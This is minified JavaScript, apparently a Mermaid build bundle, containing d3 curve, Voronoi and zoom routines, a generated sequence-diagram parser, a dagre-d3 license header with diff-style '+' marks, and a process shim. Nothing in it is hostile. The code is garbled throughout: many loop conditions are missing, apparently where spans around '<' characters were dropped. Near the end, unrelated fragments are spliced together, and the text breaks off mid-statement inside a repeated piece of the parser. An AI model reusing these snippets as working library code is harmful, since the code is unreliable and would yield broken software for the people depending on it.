2:this._point=3;default:V_(this,t,e)}this._l01_a=this._l12_a,this._l12_a=this._l23_a,this._l01_2a=this._l12_2a,this._l12_2a=this._l23_2a,this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e}};var X_=function t(e){function n(t){return e?new G_(t,e):new z_(t,0)}return n.alpha=function(e){return t(+e)},n}(.5);function Z_(t,e){this._context=t,this._alpha=e}Z_.prototype={areaStart:O_,areaEnd:O_,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._x5=this._y0=this._y1=this._y2=this._y3=this._y4=this._y5=NaN,this._l01_a=this._l12_a=this._l23_a=this._l01_2a=this._l12_2a=this._l23_2a=this._point=0},lineEnd:function(){switch(this._point){case 1:this._context.moveTo(this._x3,this._y3),this._context.closePath();break;case 2:this._context.lineTo(this._x3,this._y3),this._context.closePath();break;case 3:this.point(this._x3,this._y3),this.point(this._x4,this._y4),this.point(this._x5,this._y5)}},point:function(t,e){if(t=+t,e=+e,this._point){var n=this._x2-t,r=this._y2-e;this._l23_a=Math.sqrt(this._l23_2a=Math.pow(n*n+r*r,this._alpha))}switch(this._point){case 0:this._point=1,this._x3=t,this._y3=e;break;case 1:this._point=2,this._context.moveTo(this._x4=t,this._y4=e);break;case 2:this._point=3,this._x5=t,this._y5=e;break;default:V_(this,t,e)}this._l01_a=this._l12_a,this._l12_a=this._l23_a,this._l01_2a=this._l12_2a,this._l12_2a=this._l23_2a,this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e}};var K_=function t(e){function n(t){return e?new Z_(t,e):new $_(t,0)}return n.alpha=function(e){return t(+e)},n}(.5);function Q_(t,e){this._context=t,this._alpha=e}Q_.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._x2=this._y0=this._y1=this._y2=NaN,this._l01_a=this._l12_a=this._l23_a=this._l01_2a=this._l12_2a=this._l23_2a=this._point=0},lineEnd:function(){(this._line||0!==this._line&&3===this._point)&&this._context.closePath(),this._line=1-this._line},point:function(t,e){if(t=+t,e=+e,this._point){var n=this._x2-t,r=this._y2-e;this._l23_a=Math.sqrt(this._l23_2a=Math.pow(n*n+r*r,this._alpha))}switch(this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3,this._line?this._context.lineTo(this._x2,this._y2):this._context.moveTo(this._x2,this._y2);break;case 3:this._point=4;default:V_(this,t,e)}this._l01_a=this._l12_a,this._l12_a=this._l23_a,this._l01_2a=this._l12_2a,this._l12_2a=this._l23_2a,this._x0=this._x1,this._x1=this._x2,this._x2=t,this._y0=this._y1,this._y1=this._y2,this._y2=e}};var J_=function t(e){function n(t){return e?new Q_(t,e):new W_(t,0)}return n.alpha=function(e){return t(+e)},n}(.5);function tk(t){this._context=t}tk.prototype={areaStart:O_,areaEnd:O_,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(t,e){t=+t,e=+e,this._point?this._context.lineTo(t,e):(this._point=1,this._context.moveTo(t,e))}};var ek=function(t){return new tk(t)};function nk(t){return t<0?-1:1}function rk(t,e,n){var r=t._x1-t._x0,i=e-t._x1,a=(t._y1-t._y0)/(r||i<0&&-0),o=(n-t._y1)/(i||r<0&&-0),s=(a*i+o*r)/(r+i);return(nk(a)+nk(o))*Math.min(Math.abs(a),Math.abs(o),.5*Math.abs(s))||0}function ik(t,e){var n=t._x1-t._x0;return n?(3*(t._y1-t._y0)/n-e)/2:e}function ak(t,e,n){var r=t._x0,i=t._y0,a=t._x1,o=t._y1,s=(a-r)/3;t._context.bezierCurveTo(r+s,i+s*e,a-s,o-s*n,a,o)}function ok(t){this._context=t}function sk(t){this._context=new ck(t)}function ck(t){this._context=t}function uk(t){return new ok(t)}function lk(t){return new sk(t)}function hk(t){this._context=t}function fk(t){var e,n,r=t.length-1,i=new Array(r),a=new Array(r),o=new Array(r);for(i[0]=0,a[0]=2,o[0]=t[0]+2*t[1],e=1;e=0;--e)i[e]=(o[e]-i[e+1])/a[e];for(a[r-1]=(t[r]+i[r-1])/2,e=0;e=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(t,e){switch(t=+t,e=+e,this._point){case 0:this._point=1,this._line?this._context.lineTo(t,e):this._context.moveTo(t,e);break;case 1:this._point=2;default:if(this._t<=0)this._context.lineTo(this._x,e),this._context.lineTo(t,e);else{var n=this._x*(1-this._t)+t*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,e)}}this._x=t,this._y=e}};var yk=function(t){return new pk(t,.5)};function gk(t){return new pk(t,0)}function mk(t){return new pk(t,1)}var vk=function(t,e){if((i=t.length)>1)for(var n,r,i,a=1,o=t[e[0]],s=o.length;a=0;)n[e]=e;return n};function xk(t,e){return t[e]}var _k=function(){var t=bx([]),e=bk,n=vk,r=xk;function i(i){var a,o,s=t.apply(this,arguments),c=i.length,u=s.length,l=new Array(u);for(a=0;a0){for(var n,r,i,a=0,o=t[0].length;a0)for(var n,r,i,a,o,s,c=0,u=t[e[0]].length;c0?(r[0]=a,r[1]=a+=i):i<0?(r[1]=o,r[0]=o+=i):(r[0]=0,r[1]=i)},Tk=function(t,e){if((n=t.length)>0){for(var n,r=0,i=t[e[0]],a=i.length;r0&&(r=(n=t[e[0]]).length)>0){for(var n,r,i,a=0,o=1;oa&&(a=e,r=n);return r}var Ak=function(t){var e=t.map(Mk);return bk(t).sort((function(t,n){return e[t]-e[n]}))};function Mk(t){for(var e,n=0,r=-1,i=t.length;++r0)){if(a/=f,f<0){if(a0){if(a>h)return;a>l&&(l=a)}if(a=r-c,f||!(a<0)){if(a/=f,f<0){if(a>h)return;a>l&&(l=a)}else if(f>0){if(a0)){if(a/=d,d<0){if(a0){if(a>h)return;a>l&&(l=a)}if(a=i-u,d||!(a<0)){if(a/=d,d<0){if(a>h)return;a>l&&(l=a)}else if(d>0){if(a0||h<1)||(l>0&&(t[0]=[c+l*f,u+l*d]),h<1&&(t[1]=[c+h*f,u+h*d]),!0)}}}}}function Xk(t,e,n,r,i){var a=t[1];if(a)return!0;var o,s,c=t[0],u=t.left,l=t.right,h=u[0],f=u[1],d=l[0],p=l[1],y=(h+d)/2,g=(f+p)/2;if(p===f){if(y=r)return;if(h>d){if(c){if(c[1]>=i)return}else c=[y,n];a=[y,i]}else{if(c){if(c[1]1)if(h>d){if(c){if(c[1]>=i)return}else c=[(n-s)/o,n];a=[(i-s)/o,i]}else{if(c){if(c[1]=r)return}else c=[e,o*e+s];a=[r,o*r+s]}else{if(c){if(c[0]=-mw)){var d=c*c+u*u,p=l*l+h*h,y=(h*d-u*p)/f,g=(c*p-l*d)/f,m=tw.pop()||new ew;m.arc=t,m.site=i,m.x=y+o,m.y=(m.cy=g+s)+Math.sqrt(y*y+g*g),t.circle=m;for(var v=null,b=pw._;b;)if(m.ygw)s=s.L;else{if(!((i=a-hw(s,o))>gw)){r>-gw?(e=s.P,n=s):i>-gw?(e=s,n=s.N):e=n=s;break}if(!s.R){e=s;break}s=s.R}!function(t){dw[t.index]={site:t,halfedges:[]}}(t);var c=ow(t);if(fw.insert(e,c),e||n){if(e===n)return rw(e),n=ow(e.site),fw.insert(c,n),c.edge=n.edge=Wk(e.site,c.site),nw(e),void nw(n);if(n){rw(e),rw(n);var u=e.site,l=u[0],h=u[1],f=t[0]-l,d=t[1]-h,p=n.site,y=p[0]-l,g=p[1]-h,m=2*(f*g-d*y),v=f*f+d*d,b=y*y+g*g,x=[(g*v-d*b)/m+l,(f*b-y*v)/m+h];Vk(n.edge,u,p,x),c.edge=Wk(u,t,null,x),n.edge=Wk(t,p,null,x),nw(e),nw(n)}else c.edge=Wk(e.site,c.site)}}function lw(t,e){var n=t.site,r=n[0],i=n[1],a=i-e;if(!a)return r;var o=t.P;if(!o)return-1/0;var s=(n=o.site)[0],c=n[1],u=c-e;if(!u)return s;var l=s-r,h=1/a-1/u,f=l/u;return h?(-f+Math.sqrt(f*f-2*h*(l*l/(-2*u)-c+u/2+i-a/2)))/h+r:(r+s)/2}function hw(t,e){var n=t.N;if(n)return lw(n,e);var r=t.site;return r[1]===e?r[0]:1/0}var fw,dw,pw,yw,gw=1e-6,mw=1e-12;function vw(t,e){return e[1]-t[1]||e[0]-t[0]}function bw(t,e){var n,r,i,a=t.sort(vw).pop();for(yw=[],dw=new Array(t.length),fw=new qk,pw=new qk;;)if(i=Jk,a&&(!i||a[1]gw||Math.abs(i[0][1]-i[1][1])>gw)||delete yw[a]}(o,s,c,u),function(t,e,n,r){var i,a,o,s,c,u,l,h,f,d,p,y,g=dw.length,m=!0;for(i=0;igw||Math.abs(y-f)>gw)&&(c.splice(s,0,yw.push(Hk(o,d,Math.abs(p-t)gw?[t,Math.abs(h-t)gw?[Math.abs(f-r)gw?[n,Math.abs(h-n)gw?[Math.abs(f-e)=s)return null;var c=t-i.site[0],u=e-i.site[1],l=c*c+u*u;do{i=a.cells[r=o],o=null,i.halfedges.forEach((function(n){var r=a.edges[n],s=r.left;if(s!==i.site&&s||(s=r.right)){var c=t-s[0],u=e-s[1],h=c*c+u*u;hr?(r+i)/2:Math.min(0,r)||Math.max(0,i),o>a?(a+o)/2:Math.min(0,a)||Math.max(0,o))}var Lw=function(){var t,e,n=Aw,r=Mw,i=Dw,a=Nw,o=Bw,s=[0,1/0],c=[[-1/0,-1/0],[1/0,1/0]],u=250,l=dp,h=ht("start","zoom","end"),f=0;function d(t){t.property("__zoom",Ow).on("wheel.zoom",x).on("mousedown.zoom",_).on("dblclick.zoom",k).filter(o).on("touchstart.zoom",w).on("touchmove.zoom",T).on("touchend.zoom touchcancel.zoom",E).style("touch-action","none").style("-webkit-tap-highlight-color","rgba(0,0,0,0)")}function p(t,e){return(e=Math.max(s[0],Math.min(s[1],e)))===t.k?t:new ww(e,t.x,t.y)}function y(t,e,n){var r=e[0]-n[0]*t.k,i=e[1]-n[1]*t.k;return r===t.x&&i===t.y?t:new ww(t.k,r,i)}function g(t){return[(+t[0][0]+ +t[1][0])/2,(+t[0][1]+ +t[1][1])/2]}function m(t,e,n){t.on("start.zoom",(function(){v(this,arguments).start()})).on("interrupt.zoom end.zoom",(function(){v(this,arguments).end()})).tween("zoom",(function(){var t=this,i=arguments,a=v(t,i),o=r.apply(t,i),s=null==n?g(o):"function"==typeof n?n.apply(t,i):n,c=Math.max(o[1][0]-o[0][0],o[1][1]-o[0][1]),u=t.__zoom,h="function"==typeof e?e.apply(t,i):e,f=l(u.invert(s).concat(c/u.k),h.invert(s).concat(c/h.k));return function(t){if(1===t)t=h;else{var e=f(t),n=c/e[2];t=new ww(n,s[0]-e[0]*n,s[1]-e[1]*n)}a.zoom(null,t)}}))}function v(t,e,n){return!n&&t.__zooming||new b(t,e)}function b(t,e){this.that=t,this.args=e,this.active=0,this.extent=r.apply(t,e),this.taps=0}function x(){if(n.apply(this,arguments)){var t=v(this,arguments),e=this.__zoom,r=Math.max(s[0],Math.min(s[1],e.k*Math.pow(2,a.apply(this,arguments)))),o=Dn(this);if(t.wheel)t.mouse[0][0]===o[0]&&t.mouse[0][1]===o[1]||(t.mouse[1]=e.invert(t.mouse[0]=o)),clearTimeout(t.wheel);else{if(e.k===r)return;t.mouse=[o,e.invert(o)],sr(this),t.start()}Sw(),t.wheel=setTimeout(u,150),t.zoom("mouse",i(y(p(e,r),t.mouse[0],t.mouse[1]),t.extent,c))}function u(){t.wheel=null,t.end()}}function _(){if(!e&&n.apply(this,arguments)){var t=v(this,arguments,!0),r=we(ue.view).on("mousemove.zoom",u,!0).on("mouseup.zoom",l,!0),a=Dn(this),o=ue.clientX,s=ue.clientY;Ce(ue.view),Cw(),t.mouse=[a,this.__zoom.invert(a)],sr(this),t.start()}function u(){if(Sw(),!t.moved){var e=ue.clientX-o,n=ue.clientY-s;t.moved=e*e+n*n>f}t.zoom("mouse",i(y(t.that.__zoom,t.mouse[0]=Dn(t.that),t.mouse[1]),t.extent,c))}function l(){r.on("mousemove.zoom mouseup.zoom",null),Se(ue.view,t.moved),Sw(),t.end()}}function k(){if(n.apply(this,arguments)){var t=this.__zoom,e=Dn(this),a=t.invert(e),o=t.k*(ue.shiftKey?.5:2),s=i(y(p(t,o),e,a),r.apply(this,arguments),c);Sw(),u>0?we(this).transition().duration(u).call(m,s,e):we(this).call(d.transform,s)}}function w(){if(n.apply(this,arguments)){var e,r,i,a,o=ue.touches,s=o.length,c=v(this,arguments,ue.changedTouches.length===s);for(Cw(),r=0;rh&&A.push("'"+this.terminals_[E]+"'");O=p.showPosition?"Parse error on line "+(c+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[x]||x)+"'":"Parse error on line "+(c+1)+": Unexpected "+(x==f?"end of input":"'"+(this.terminals_[x]||x)+"'"),this.parseError(O,{text:p.match,token:this.terminals_[x]||x,line:p.yylineno,loc:m,expected:A})}if(w[0]instanceof Array&&w.length>1)throw new Error("Parse Error: multiple actions possible at state: "+k+", token: "+x);switch(w[0]){case 1:n.push(x),i.push(p.yytext),a.push(p.yylloc),n.push(w[1]),x=null,_?(x=_,_=null):(u=p.yyleng,s=p.yytext,c=p.yylineno,m=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[w[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},v&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,u,c,y.yy,w[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[w[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},M={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),58;case 1:return this.begin("type_directive"),59;case 2:return this.popState(),this.begin("arg_directive"),14;case 3:return this.popState(),this.popState(),61;case 4:return 60;case 5:return 5;case 6:case 7:case 8:case 9:case 10:break;case 11:return this.begin("ID"),16;case 12:return e.yytext=e.yytext.trim(),this.begin("ALIAS"),48;case 13:return this.popState(),this.popState(),this.begin("LINE"),18;case 14:return this.popState(),this.popState(),5;case 15:return this.begin("LINE"),27;case 16:return this.begin("LINE"),29;case 17:return this.begin("LINE"),30;case 18:return this.begin("LINE"),31;case 19:return this.begin("LINE"),36;case 20:return this.begin("LINE"),33;case 21:return this.begin("LINE"),35;case 22:return this.popState(),19;case 23:return 28;case 24:return 43;case 25:return 44;case 26:return 39;case 27:return 37;case 28:return this.begin("ID"),22;case 29:return this.begin("ID"),23;case 30:return 25;case 31:return 7;case 32:return 21;case 33:return 42;case 34:return 5;case 35:return e.yytext=e.yytext.trim(),48;case 36:return 51;case 37:return 52;case 38:return 49;case 39:return 50;case 40:return 53;case 41:return 54;case 42:return 55;case 43:return 56;case 44:return 57;case 45:return 46;case 46:return 47;case 47:return 5;case 48:return"INVALID"}},rules:[/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:((?!\n)\s)+)/i,/^(?:#[^\n]*)/i,/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:participant\b)/i,/^(?:[^\->:\n,;]+?(?=((?!\n)\s)+as(?!\n)\s|[#\n;]|$))/i,/^(?:as\b)/i,/^(?:(?:))/i,/^(?:loop\b)/i,/^(?:rect\b)/i,/^(?:opt\b)/i,/^(?:alt\b)/i,/^(?:else\b)/i,/^(?:par\b)/i,/^(?:and\b)/i,/^(?:(?:[:]?(?:no)?wrap)?[^#\n;]*)/i,/^(?:end\b)/i,/^(?:left of\b)/i,/^(?:right of\b)/i,/^(?:over\b)/i,/^(?:note\b)/i,/^(?:activate\b)/i,/^(?:deactivate\b)/i,/^(?:title\b)/i,/^(?:sequenceDiagram\b)/i,/^(?:autonumber\b)/i,/^(?:,)/i,/^(?:;)/i,/^(?:[^\+\->:\n,;]+((?!(-x|--x|-\)|--\)))[\-]*[^\+\->:\n,;]+)*)/i,/^(?:->>)/i,/^(?:-->>)/i,/^(?:->)/i,/^(?:-->)/i,/^(?:-[x])/i,/^(?:--[x])/i,/^(?:-[\)])/i,/^(?:--[\)])/i,/^(?::(?:(?:no)?wrap)?[^#\n;]+)/i,/^(?:\+)/i,/^(?:-)/i,/^(?:$)/i,/^(?:.)/i],conditions:{open_directive:{rules:[1,8],inclusive:!1},type_directive:{rules:[2,3,8],inclusive:!1},arg_directive:{rules:[3,4,8],inclusive:!1},ID:{rules:[7,8,12],inclusive:!1},ALIAS:{rules:[7,8,13,14],inclusive:!1},LINE:{rules:[7,8,22],inclusive:!1},INITIAL:{rules:[0,5,6,8,9,10,11,15,16,17,18,19,20,21,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48],inclusive:!0}}};function O(){this.yy={}}return A.lexer=M,O.prototype=A,A.Parser=O,new O}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(17).readFileSync(n(18).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(12),n(7)(t))},function(t,e,n){var r=n(203);t.exports={Graph:r.Graph,json:n(306),alg:n(307),version:r.version}},function(t,e,n){var r;try{r={cloneDeep:n(318),constant:n(88),defaults:n(154),each:n(89),filter:n(128),find:n(319),flatten:n(156),forEach:n(126),forIn:n(326),has:n(94),isUndefined:n(139),last:n(327),map:n(140),mapValues:n(328),max:n(329),merge:n(331),min:n(336),minBy:n(337),now:n(338),pick:n(161),range:n(162),reduce:n(142),sortBy:n(345),uniqueId:n(163),values:n(147),zipObject:n(350)}}catch(t){}r||(r=window._),t.exports=r},function(t,e){var n=Array.isArray;t.exports=n},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(99),i=n(178),a=n(179),o=n(180),s={format:{keyword:i.default,hex:r.default,rgb:a.default,rgba:a.default,hsl:o.default,hsla:o.default},parse:function(t){if("string"!=typeof t)return t;var e=r.default.parse(t)||a.default.parse(t)||o.default.parse(t)||i.default.parse(t);if(e)return e;throw new Error('Unsupported color format: "'+t+'"')},stringify:function(t){return!t.changed&&t.color?t.color:t.type.is(2)||void 0===t.data.r?o.default.stringify(t):t.a<1||!Number.isInteger(t.r)||!Number.isInteger(t.g)||!Number.isInteger(t.b)?a.default.stringify(t):r.default.stringify(t)}};e.default=s},function(t,e){t.exports=function(t){return t.webpackPolyfill||(t.deprecate=function(){},t.paths=[],t.children||(t.children=[]),Object.defineProperty(t,"loaded",{enumerable:!0,get:function(){return t.l}}),Object.defineProperty(t,"id",{enumerable:!0,get:function(){return t.i}}),t.webpackPolyfill=1),t}},function(t,e,n){ +/** + * @license + * Copyright (c) 2012-2013 Chris Pettitt + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +t.exports={graphlib:n(316),dagre:n(153),intersect:n(375),render:n(377),util:n(15),version:n(389)}},function(t,e,n){"use strict";var r=n(4),i=n(20).Graph;function a(t,e,n,i){var a;do{a=r.uniqueId(i)}while(t.hasNode(a));return n.dummy=e,t.setNode(a,n),a}function o(t){return r.max(r.map(t.nodes(),(function(e){var n=t.node(e).rank;if(!r.isUndefined(n))return n})))}t.exports={addDummyNode:a,simplify:function(t){var e=(new i).setGraph(t.graph());return r.forEach(t.nodes(),(function(n){e.setNode(n,t.node(n))})),r.forEach(t.edges(),(function(n){var r=e.edge(n.v,n.w)||{weight:0,minlen:1},i=t.edge(n);e.setEdge(n.v,n.w,{weight:r.weight+i.weight,minlen:Math.max(r.minlen,i.minlen)})})),e},asNonCompoundGraph:function(t){var e=new i({multigraph:t.isMultigraph()}).setGraph(t.graph());return r.forEach(t.nodes(),(function(n){t.children(n).length||e.setNode(n,t.node(n))})),r.forEach(t.edges(),(function(n){e.setEdge(n,t.edge(n))})),e},successorWeights:function(t){var e=r.map(t.nodes(),(function(e){var n={};return r.forEach(t.outEdges(e),(function(e){n[e.w]=(n[e.w]||0)+t.edge(e).weight})),n}));return r.zipObject(t.nodes(),e)},predecessorWeights:function(t){var e=r.map(t.nodes(),(function(e){var n={};return r.forEach(t.inEdges(e),(function(e){n[e.v]=(n[e.v]||0)+t.edge(e).weight})),n}));return r.zipObject(t.nodes(),e)},intersectRect:function(t,e){var n,r,i=t.x,a=t.y,o=e.x-i,s=e.y-a,c=t.width/2,u=t.height/2;if(!o&&!s)throw new Error("Not possible to find intersection inside of the rectangle");Math.abs(s)*c>Math.abs(o)*u?(s<0&&(u=-u),n=u*o/s,r=u):(o<0&&(c=-c),n=c,r=c*s/o);return{x:i+n,y:a+r}},buildLayerMatrix:function(t){var e=r.map(r.range(o(t)+1),(function(){return[]}));return r.forEach(t.nodes(),(function(n){var i=t.node(n),a=i.rank;r.isUndefined(a)||(e[a][i.order]=n)})),e},normalizeRanks:function(t){var e=r.min(r.map(t.nodes(),(function(e){return t.node(e).rank})));r.forEach(t.nodes(),(function(n){var i=t.node(n);r.has(i,"rank")&&(i.rank-=e)}))},removeEmptyRanks:function(t){var e=r.min(r.map(t.nodes(),(function(e){return t.node(e).rank}))),n=[];r.forEach(t.nodes(),(function(r){var i=t.node(r).rank-e;n[i]||(n[i]=[]),n[i].push(r)}));var i=0,a=t.graph().nodeRankFactor;r.forEach(n,(function(e,n){r.isUndefined(e)&&n%a!=0?--i:i&&r.forEach(e,(function(e){t.node(e).rank+=i}))}))},addBorderNode:function(t,e,n,r){var i={width:0,height:0};arguments.length>=4&&(i.rank=n,i.order=r);return a(t,"border",i,e)},maxRank:o,partition:function(t,e){var n={lhs:[],rhs:[]};return r.forEach(t,(function(t){e(t)?n.lhs.push(t):n.rhs.push(t)})),n},time:function(t,e){var n=r.now();try{return e()}finally{console.log(t+" time: "+(r.now()-n)+"ms")}},notime:function(t,e){return e()}}},function(t,e,n){t.exports={graphlib:n(20),layout:n(317),debug:n(373),util:{time:n(9).time,notime:n(9).notime},version:n(374)}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(172),i=n(173),a=n(174),o={channel:r.default,lang:i.default,unit:a.default};e.default=o},function(t,e){var n,r,i=t.exports={};function a(){throw new Error("setTimeout has not been defined")}function o(){throw new Error("clearTimeout has not been defined")}function s(t){if(n===setTimeout)return setTimeout(t,0);if((n===a||!n)&&setTimeout)return n=setTimeout,setTimeout(t,0);try{return n(t,0)}catch(e){try{return n.call(null,t,0)}catch(e){return n.call(this,t,0)}}}!function(){try{n="function"==typeof setTimeout?setTimeout:a}catch(t){n=a}try{r="function"==typeof clearTimeout?clearTimeout:o}catch(t){r=o}}();var c,u=[],l=!1,h=-1;function f(){l&&c&&(l=!1,c.length?u=c.concat(u):h=-1,u.length&&d())}function d(){if(!l){var t=s(f);l=!0;for(var e=u.length;e;){for(c=u,u=[];++h1)for(var n=1;nh&&A.push("'"+this.terminals_[E]+"'");O=p.showPosition?"Parse error on line "+(c+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[x]||x)+"'":"Parse error on line "+(c+1)+": Unexpected "+(x==f?"end of input":"'"+(this.terminals_[x]||x)+"'"),this.parseError(O,{text:p.match,token:this.terminals_[x]||x,line:p.yylineno,loc:m,expected:A})}if(w[0]instanceof Array&&w.length>1)throw new Error("Parse Error: multiple actions possible at state: "+k+", token: "+x);switch(w[0]){case 1:n.push(x),i.push(p.yytext),a.push(p.yylloc),n.push(w[1]),x=null,_?(x=_,_=null):(u=p.yyleng,s=p.yytext,c=p.yylineno,m=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[w[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},v&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 